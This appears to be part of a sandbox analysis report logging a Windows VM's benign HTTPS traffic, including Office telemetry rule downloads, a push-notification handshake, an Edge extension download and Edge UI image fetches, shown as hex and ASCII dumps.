20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a5e552fb-801e-0035-1d5b-40752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231944Z-174f7845968swgbqhC1EWRmnb40000000xv0000000002xed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49850	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:44 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 53 62 4a 49 71 61 57 4c 65 6b 75 6e 6f 6c 41 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 62 65 63 35 33 62 39 31 36 66 38 32 36 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: SbJIqaWLekunolAX.1Context: 56bec53b916f8261
2024-11-27 23:19:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 23:19:44 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 53 62 4a 49 71 61 57 4c 65 6b 75 6e 6f 6c 41 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 62 65 63 35 33 62 39 31 36 66 38 32 36 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 7a 48 51 73 45 46 7a 30 58 4e 79 32 78 75 67 48 73 36 32 75 68 2f 34 79 71 7a 30 58 70 45 69 52 39 6f 32 48 32 74 47 7a 30 4b 68 57 75 65 78 65 41 37 41 46 50 6d 66 45 4f 55 41 4a 33 59 4e 52 47 44 73 6f 57 4b 42 54 2f 30 36 71 41 52 77 38 58 51 71 35 43 49 31 4b 31 57 39 54 65 54 37 6a 6e 69 34 49 71 52 71 4e 68 4d 30 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: SbJIqaWLekunolAX.2Context: 56bec53b916f8261<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARzHQsEFz0XNy2xugHs62uh/4yqz0XpEiR9o2H2tGz0KhWuexeA7AFPmfEOUAJ3YNRGDsoWKBT/06qARw8XQq5CI1K1W9TeT7jni4IqRqNhM0W
2024-11-27 23:19:44 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 53 62 4a 49 71 61 57 4c 65 6b 75 6e 6f 6c 41 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 62 65 63 35 33 62 39 31 36 66 38 32 36 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: SbJIqaWLekunolAX.3Context: 56bec53b916f8261<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 23:19:45 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 23:19:45 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 6d 38 38 6f 49 35 42 54 30 61 42 61 32 46 73 59 4a 61 65 78 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Om88oI5BT0aBa2FsYJaexQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49852	172.217.19.225	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:45 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:46 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4ZjqXlR9c2WaJAkMQ9T29mKgZyUWAl30zlMeVWfVqvo7yS4sz72IU_VKJYbTtI74Oc9rQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 23685 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-27 23:19:46 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-27 23:19:46 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49855	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:45 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:45 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:45 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231945Z-174f7845968frfdmhC1EWRxxbw0000000xsg000000000qnh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 23:19:45 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49854	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:45 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:45 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:45 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231945Z-174f7845968j6t2phC1EWRcfe80000000xqg00000000frmh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
